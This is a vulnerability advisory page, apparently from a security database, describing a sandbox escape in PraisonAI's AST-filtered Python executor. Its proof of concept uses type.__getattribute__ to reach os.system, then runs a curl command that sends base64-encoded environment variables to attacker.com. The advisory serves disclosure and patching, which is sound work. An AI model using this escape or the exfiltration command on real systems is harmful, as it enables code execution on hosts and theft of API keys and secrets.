Alta

PraisonAI Vulnerable to Code Injection and Protection Mechanism Failure

  • Publicada: 10.04.2026
  • Actualizado: 11.10.2026 14:17

PraisonAI's AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code.

Description

The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing bypass via:

The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions.

python
type.__getattribute__(obj, '__subclasses__')  # Bypasses filter

The string '__subclasses__' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list.

Proof of Concept

python
# This code bypasses the sandbox and achieves RCE
t = type
int_cls = t(1)

# Bypass blocked __bases__ via type.__getattribute__
bases = t.__getattribute__(int_cls, '__bases__')
obj_cls = bases[0]

# Bypass blocked __subclasses__
subclasses_fn = t.__getattribute__(obj_cls, '__subclasses__')
all_subclasses = subclasses_fn()

# Find _wrap_close class
for c in all_subclasses:
    if t.__getattribute__(c, '__name__') == '_wrap_close':
        # Get __init__.__globals__ via bypass
        init = t.__getattribute__(c, '__init__')
        glb = type(init).__getattribute__(init, '__globals__')
        
        # Get system function and execute
        system = glb['system']
        system('curl https://attacker.com/steal --data "$(env | base64)"')

Impact

This vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process.

An attacker can:

  • Access sensitive data such as environment variables, API keys, and local files
  • Execute arbitrary system commands
  • Modify or delete files on the system

In environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure.


Affected Code

python
# praisonaiagents/tools/python_tools.py (approximate)
def _execute_code_direct(code, ...):
    tree = ast.parse(code)
    
    for node in ast.walk(tree):
        # Only checks ast.Attribute nodes
        if isinstance(node, ast.Attribute) and node.attr in blocked_attrs:
            raise SecurityError(...)
    
    # Bypass: string arguments are not checked
    exec(compiled, safe_globals)

Reporter: Lakshmikanthan K (letchupkt)

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) praisonai < 4.5.128 4.5.128

Referencias

Puntuación CVSS 8.6/10
Vector CVSS
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Debilidad (CWE)
CWE-693, CWE-94
Plataforma
Python (PyPI)
Paquete
praisonai
Publicada
10.04.2026
Actualizado
11.10.2026 14:17

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2026-2898 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-3c4r-6p77-xwr7 - CC BY 4.0

Historial de vulnerabilidades: praisonai

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (104) en el archivo
Entradas en total
104
Primera → última
04.2026 10.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 27
  • Alta 60
  • Media 17

Divulgaciones por año

  1. 2026: 104
Gravedad:
  1. PraisonAI Vulnerable to Code Injection and Protection Mechanism Failure esta entrada
    Alta · 8.6 CVE-2026-40158 < 4.5.128 4.5.128
  2. Alta · 7.5 CVE-2026-61439 < 4.6.78 4.6.78
  3. Alta · 7.3 CVE-2026-56839 < 4.6.59 4.6.59
  4. Alta · 7.2 CVE-2026-57114 >= 4.5.126, < 4.6.59 4.6.59
  5. Crítica · 9.8 CVE-2026-57125 < 4.6.59 4.6.59
  6. Alta · 8.8 CVE-2026-57117 >= 4.6.10, < 4.6.59 4.6.59
  7. Alta · 7.8 CVE-2026-56838 >= 4.5.87, < 4.6.59 4.6.59
Mostrar más (20) Mostrando 41 de 87

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.